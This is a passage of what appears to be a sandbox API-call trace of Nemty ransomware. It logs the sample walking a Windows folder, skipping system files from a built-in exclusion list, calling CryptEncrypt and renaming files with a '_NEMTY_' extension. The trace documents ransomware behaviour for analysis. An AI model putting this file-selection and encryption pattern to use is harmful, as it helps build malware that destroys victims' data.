lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.430] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0158.460] CloseHandle (hObject=0xffffffff) returned 0 [0158.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0158.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0158.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0158.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340438 [0158.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404e0 [0158.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0158.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\alerticon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\alertIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\alerticon.png._nemty_kgobjgd_")) returned 0 [0158.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0158.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0158.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0158.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0158.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0158.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0158.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0158.461] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87572b6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87572b6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcde, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="btn_close_down.png", cAlternateFileName="")) returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2=".") returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="..") returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="...") returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="windows") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="$RECYCLE.BIN") returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="rsa") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="NTDETECT.COM") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="ntldr") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="MSDOS.SYS") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="IO.SYS") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="boot.ini") returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="boot.ini") returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="ntuser.dat") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="desktop.ini") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="CONFIG.SYS") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="RECYCLER") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="BOOTSECT.BAK") returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="bootmgr") returned 1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="programdata") returned -1 [0158.461] lstrcmpiW (lpString1="btn_close_down.png", lpString2="appdata") returned 1 [0158.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0158.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_down.png", lpUsedDefaultChar=0x0) returned 18 [0158.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0158.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0158.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_down.png", lpUsedDefaultChar=0x0) returned 18 [0158.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0158.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0158.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_down.png", lpUsedDefaultChar=0x0) returned 18 [0158.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0158.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down.png", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_down.png", lpUsedDefaultChar=0x0) returned 18 [0158.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340220 [0158.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0158.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0158.462] Sleep (dwMilliseconds=0x5) [0158.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x121913f0, dwHighDateTime=0x1d561e8)) [0158.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x121913f0, dwHighDateTime=0x1d561e8)) [0158.465] GetLastError () returned 0x5 [0158.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0158.465] GetLastError () returned 0x5 [0158.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0158.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0158.465] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0158.465] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0158.465] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0158.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402d8 [0158.465] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402d8, pcchString=0x653e91c | out: pszString="PexYj7C/6q3AO7dVUizWSRxLFgWDlF5F8Gz48AwbUGB+wCKhMdKPZlGI4lNB6JGq\r\nFMlorFQJIUdBbnW1wk0aKAOWf9yjRjIl2H/sP9RtsUrCbI6YHg1Rbefal//B/kdf\r\n39k3b2q7jNBsFJNdPLB1nIUL0PBxIjsDtXXzFBYE7okAhqm5R89apZu/IMvU+6GI\r\nGkq3Na9VgHrPWXw0TQfxENq/O1Fb7q5PAWvUZs25XKGC6lg7EWziThpRTeWOT9Ja\r\ntmqk38kPVptiTm4u4ouuyN6RFIftqIpDoLxPJ7jqF/kvWz1EDPYPiEkK9eADuxf7\r\nBh+fNy/+xbuVY0EoDSOLMA==\r\n", pcchString=0x653e91c) returned 1 [0158.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0158.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402d8 | out: hHeap=0x4f90000) returned 1 [0158.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0158.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0158.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402d8 [0158.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0158.465] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0158.466] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0158.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0158.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, 